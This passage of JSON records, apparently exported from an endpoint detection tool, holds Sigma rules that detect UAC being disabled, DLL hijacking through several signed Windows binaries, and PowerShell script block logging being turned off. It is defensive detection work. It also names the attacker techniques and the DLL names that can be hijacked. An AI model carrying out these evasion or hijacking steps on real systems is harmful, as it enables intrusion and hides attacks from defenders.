+  "rule_level_override": null,
+  "rule_id": "189eeb83-5aec-4186-97ea-ad22929a4f15",
+  "rule_name": "UAC Registry Configuration Disabled Manually",
+  "rule_description": "Detects a change in the User Account Control registry configuration.\nThis rule detects the complete disabling of the UAC consent window performed manually via the legitimate UserAccountControlSettings.exe binary.\nAttackers may change this configuration in order to locally elevate privileges quietly or allow future attackers to do so.\nIt is recommended to investigate actions taken during this user session, to look for subsequent suspicious actions performed on the host and to determine whether the user performing these actions has been compromised.\n",
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-10-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "18ae8604-550e-4ae2-a46b-dd87ad258288",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602362Z",
+  "creation_date": "2026-03-23T11:45:34.602366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602373Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ehstorauthn.yml",
+  "content": "title: DLL Hijacking via ehstorauthn.exe\nid: 18ae8604-550e-4ae2-a46b-dd87ad258288\ndescription: |\n    Detects potential Windows DLL Hijacking via ehstorauthn.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ehstorauthn.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\UxTheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "18ae8604-550e-4ae2-a46b-dd87ad258288",
+  "rule_name": "DLL Hijacking via ehstorauthn.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ehstorauthn.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "18fb7194-8782-460e-b4ef-73265aabdd6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591625Z",
+  "creation_date": "2026-03-23T11:45:34.591628Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591636Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rmttpmvscmgrsvr.yml",
+  "content": "title: DLL Hijacking via rmttpmvscmgrsvr.exe\nid: 18fb7194-8782-460e-b4ef-73265aabdd6b\ndescription: |\n    Detects potential Windows DLL Hijacking via rmttpmvscmgrsvr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rmttpmvscmgrsvr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\profapi.dll'\n            - '\\winscard.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "18fb7194-8782-460e-b4ef-73265aabdd6b",
+  "rule_name": "DLL Hijacking via rmttpmvscmgrsvr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rmttpmvscmgrsvr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "191f1aa8-40cc-4b37-b39c-8821d11b97d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623027Z",
+  "creation_date": "2026-03-23T11:45:34.623029Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623033Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#disable-script-logging",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1112_script_block_logging_disabled_registry.yml",
+  "content": "title: Script Block Logging Disabled in Registry\nid: 191f1aa8-40cc-4b37-b39c-8821d11b97d5\ndescription: |\n    Detects the EnableScriptBlockLogging value being set to 0 in registry.\n    Attackers can disable the logging of PowerShell scripts by changing the value of EnableScriptBlockLogging to 0 in registry in order to avoid PowerShell detections.\n    It is recommended to investigate the process that did this modification, as well as its execution context.\nreferences:\n    - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell/tree/master?tab=readme-ov-file#disable-script-logging\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/08/29\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        Details: 'DWORD (0x00000000)'\n        TargetObject|contains: 'EnableScriptBlockLogging'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_lgpo:\n        ProcessImage|endswith: '\\LGPO.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_nable:\n        - ProcessParentImage:\n            - '?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe'\n            - '?:\\Program Files (x86)\\N-able Technologies\\Windows Agent\\bin\\agent.exe'\n        - ProcessImage:\n            - '?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe'\n            - '?:\\Program Files (x86)\\N-able Technologies\\Windows Agent\\bin\\agent.exe'\n\n    exclusion_monitoring_agent:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Advanced Monitoring Agent GP\\ScriptRunner\\ScriptRunner.exe'\n            - '?:\\Program Files (x86)\\Advanced Monitoring Agent\\ScriptRunner\\ScriptRunner.exe'\n\n    exclusion_mmc:\n        ProcessCommandLine: '?:\\Windows\\system32\\mmc.exe ?:\\Windows\\system32\\\\*'\n\n    exclusion_checkpoint:\n        ProcessImage|startswith: '?:\\Program Files (x86)\\CheckPoint\\'\n        ProcessSignature: 'Check Point Software Technologies Ltd.'\n        ProcessSigned: 'true'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\nissrv.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n\n    exclusion_windows:\n        - ProcessImage:\n            - '?:\\windows\\system32\\msiexec.exe'\n            - '?:\\windows\\syswow64\\msiexec.exe'\n            - '?:\\windows\\system32\\deviceenroller.exe'\n            - '?:\\windows\\syswow64\\deviceenroller.exe'\n            - '?:\\windows\\system32\\omadmclient.exe'\n            - '?:\\windows\\syswow64\\omadmclient.exe'\n            - '?:\\windows\\system32\\vmms.exe'\n            - '?:\\windows\\syswow64\\vmms.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n        - ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n\n    exclusion_ishealth:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\IS-Health\\IS-Health\\IS-Health.exe'\n            - '?:\\Program Files\\IS-Health\\IS-Health\\IS-Health.exe'\n\n    exclusion_trendmicro:\n        ProcessImage: '?:\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "191f1aa8-40cc-4b37-b39c-8821d11b97d5",
+  "rule_name": "Script Block Logging Disabled in Registry",
+  "rule_description": "Detects the EnableScriptBlockLogging value being set to 0 in registry.\nAttackers can disable the logging of PowerShell scripts by changing the value of EnableScriptBlockLogging to 0 in registry in order to avoid PowerShell detections.\nIt is recommended to investigate the process that did this modification, as well as its execution context.\n",
+  "rule_creation_date": "2025-08-29",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1982114f-b8b0-4ab1-8856-9eb7baf58dd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080714Z",
+  "creation_date": "2026-03-23T11:45:34.080716Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080720Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1477925112561209344",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_format_com.yml",
+  "content": "title: DLL Hijacking via format.com\nid: 1982114f-b8b0-4ab1-8856-9eb7baf58dd8\ndescription: |\n    Detects potential Windows DLL Hijacking via format.com.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers could use this technique by copying legitimate Windows signed executable from System32 or SysWow64 directory to a non-standard directory and plant a malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/0gtweet/status/1477925112561209344\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/01/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'format.com'\n        ProcessSignature: 'Microsoft Windows'\n        #ImageLoaded: '*.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1982114f-b8b0-4ab1-8856-9eb7baf58dd8",
+  "rule_name": "DLL Hijacking via format.com",
+  "rule_description": "Detects potential Windows DLL Hijacking via format.com.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers could use this technique by copying legitimate Windows signed executable from System32 or SysWow64 directory to a non-standard directory and plant a malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-01-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "198dc4a0-fad3-4a63-96df-c66da0fff340",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078646Z",
+  "creation_date": "2026-03-23T11:45:34.078648Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078652Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wifitask.yml",
+  "content": "title: DLL Hijacking via wifitask.exe\nid: 198dc4a0-fad3-4a63-96df-c66da0fff340\ndescription: |\n    Detects potential Windows DLL Hijacking via wifitask.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wifitask.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\HTTPAPI.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\umpdc.dll'\n            - '\\webservices.dll'\n            - '\\wlanapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "198dc4a0-fad3-4a63-96df-c66da0fff340",
+  "rule_name": "DLL Hijacking via wifitask.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wifitask.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "19d12965-f4b4-469a-b904-87bd6dc211d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595087Z",
+  "creation_date": "2026-03-23T11:45:34.595091Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595099Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsrm.yml",
+  "content": "title: DLL Hijacking via dsr.exe\nid: 19d12965-f4b4-469a-b904-87bd6dc211d8\ndescription: |\n    Detects potential Windows DLL Hijacking via dsr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsrm.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\activeds.dll'\n            - '\\secur32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "19d12965-f4b4-469a-b904-87bd6dc211d8",
+  "rule_name": "DLL Hijacking via dsr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a1f6e7a-2498-43ab-a378-5c398ec012d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
